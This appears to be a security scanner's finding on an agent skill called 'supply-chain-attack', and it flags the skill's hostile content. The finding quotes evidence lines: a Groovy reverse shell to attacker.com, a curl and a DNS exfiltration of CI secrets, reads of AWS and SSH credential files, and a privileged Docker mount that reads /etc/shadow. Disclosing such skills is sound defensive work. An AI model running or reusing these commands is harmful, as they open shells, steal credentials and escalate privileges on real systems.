The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides functional Groovy code to establish a reverse shell connection from a Jenkins instance to an external server. Evidence in references/cicd-attack.md: ['bash', '-c', 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'].execute().
[DATA_EXFILTRATION]: Instructions and code snippets demonstrate how to exfiltrate system metadata and secrets to attacker-controlled domains via HTTP and DNS queries. Evidence in references/cicd-attack.md: curl -X POST https://attacker.com/exfil -d "token=${{ secrets.DEPLOY_TOKEN }}". Evidence in references/dependency-confusion.md: dns.resolve(\${subdomain}.dc.your-collaborator.com`, () => {});`.
[CREDENTIALS_UNSAFE]: The skill includes methodology for harvesting sensitive credentials, including AWS keys, SSH private keys, and GitHub/GitLab tokens. Evidence in references/cicd-attack.md: Commands to search for and read ~/.aws/credentials, ~/.ssh/id_rsa, and ~/.kube/config. Evidence in references/cicd-attack.md: Methods for extracting $GITHUB_TOKEN and $CI_JOB_TOKEN from environment variables.
[PRIVILEGE_ESCALATION]: The content describes techniques for container escape to gain host-level access via privileged Docker volume mounts. Evidence in references/cicd-attack.md: docker run -v /:/host --privileged alpine cat /host/etc/shadow.
[COMMAND_EXECUTION]: Provides implementation details for internal network discovery and reconnaissance scripts, including port scanning logic. Evidence in references/cicd-attack.md: A Bash loop for port scanning internal IP addresses.
[PERSISTENCE]: Discusses maintaining long-term access by poisoning build caches and modifying CI/CD configuration files.

supply-chain-attack